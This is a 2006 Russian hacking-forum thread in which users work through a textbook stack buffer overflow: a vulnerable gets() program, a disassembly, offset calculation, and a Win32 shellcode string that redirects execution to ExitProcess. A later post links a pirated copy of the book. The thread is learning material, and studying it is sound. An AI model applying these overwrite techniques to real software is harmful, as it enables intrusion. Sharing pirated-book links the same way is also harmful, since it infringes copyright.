Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

07.11.2006, 17:13
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Вопросы: buffer overflow
Итак, купил вумную книжку "The Shellcoders Handbook: Discovering and Exploiting Security Holes". Пытаюсь разобраться с примерами из книжки на практике. Возникла проблема с первым же примером.
PHP код:
void return_input()
{
char array[30];
gets(array);
printf("%s\n", array);
}
main()
{
return_input();
return 0;
}
Хочу вызвать функцию return_input() дважды, при помощи gdb узнаю её адрес "0x8048594".
Потом (если я прав), смотрю результат дизассемблирования функции return_input(), для того, чтобы понять сколько места резервируется в стеке, вижу:
Код:
0x08048594 <return_input+0>: push %ebp
0x08048595 <return_input+1>: mov %esp,%ebp
0x08048597 <return_input+3>: sub $0x28,%esp
0x0804859a <return_input+6>: sub $0xc,%esp
0x0804859d <return_input+9>: lea 0xffffffd8(%ebp),%eax
....
Если я прав, то мне нужно число 0x28 (40 в 10й системе) и к этому числу надо прибавить 8, для того чтобы переписать указатели ebp и eip. Или мне нужно (0x28+0xC)+8??
В общем пишу программулинку, которая тупо переписывала бы адреса:
PHP код:
main()
{
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long*)&stuffing[i] = 0x8048594;
puts(stuffing);
}
В итоге когда её выход перенаправляю в уязвимую программу всё равно вижу "Segmentation fault (core dumped)".
Смотрю состояние регистров, ebp переписался значением 0x8048594, а в eip лежит 0x1. Почему? Что я не так делаю?
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

07.11.2006, 17:40
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Если я прав, то мне нужно число 0x28 (40 в 10й системе) и к этому числу надо прибавить 8, для того чтобы переписать указатели ebp и eip. Или мне нужно (0x28+0xC)+8??
Я проверил. Если ввести 1111111111111111111111111111111111111234 это чудо природы падает с AccessViolation по адресу 0x34333231. Но это, вроде, не 40-й байт, а чуть раньше. Это байты 36-ой, 37-ой, 38-ой и 39-й (если считать с нуля).
(Потрейсил ща олькой и убедился, что это и правда так. У тебя, правда, никсы, но вроде ничего меняться не должно тут)
|
|
|

07.11.2006, 17:54
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Даже в таком случае, как я понимаю, eip должен переписаться на нужное мне значение, т.к. я просто переписываю лишнее.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

07.11.2006, 18:09
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Хм.. ну я составил шеллкод, который вырубает уязвимую программу. (под вин32)
char shellcode[] = "111111111111111111111111111111111111\x34\xff\x13\ x00" "\xe8\xa1\xce\x6d\x7c";
0013FF34 - адрес места в стеке, сразу после этих четырех байт
E8A1CE6D7C - код по адресу 0013FF34 - вызов ExitProcess:
E8 A1CE6D7C CALL kernel32.ExitProcess
|
|
|

07.11.2006, 19:43
|
|
Banned
Регистрация: 10.07.2005
Сообщений: 224
Провел на форуме: 1062041
Репутация:
50
|
|
а у кого нить в электронке есть эта книга?
|
|
|

07.11.2006, 20:02
|
|
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме: 4226592
Репутация:
2175
|
|
Сообщение от Qwazar
Даже в таком случае, как я понимаю, eip должен переписаться на нужное мне значение, т.к. я просто переписываю лишнее.
не было возможности скомпилить сабж, но думается, 4то ты увели4ивая размер входного переполяняемого буфера не только переполняешь его, перезвписав eip, но и затираешь данные, лежащие в кадре стека ниже, в 4ем и при4ина проблем
|
|
|

07.11.2006, 20:11
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Сообщение от ProTeuS
не было возможности скомпилить сабж, но думается, 4то ты увели4ивая размер входного переполяняемого буфера не только переполняешь его, перезвписав eip, но и затираешь данные, лежащие в кадре стека ниже, в 4ем и при4ина проблем
хз, у меня все прекрасно работает. Переполняется локальный буфер, затирается адрес возврата (на ebp уже плевать) на адрес кода call ExitProcess.
Работает на ура 
А разве перезапись других данных кадра стека может за собой повлечь такое изменение EIP? че-та я в твою мысль не врубил%)
|
|
|

07.11.2006, 20:12
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
сплоит: 0000000000000000000000000000000000(Alt+251)(Alt+18 )@
Если у кого есть в электронном варианте скинте плиз, тоже интерестно почитать
|
|
|

07.11.2006, 20:16
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Я б тоже почитал. Ни разу ее не видел
|
|
|

07.11.2006, 21:33
|
|
Members of Antichat - Level 5
Регистрация: 27.01.2006
Сообщений: 258
Провел на форуме: 6127131
Репутация:
774
|
|
_http://slav0nic.xss.ru/books/hack_sec/THE%20SHELLCODER'S%20HANDBOOK.zip
+ сорсы к книге внутри.
__________________
Завтра будет.Лучше.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|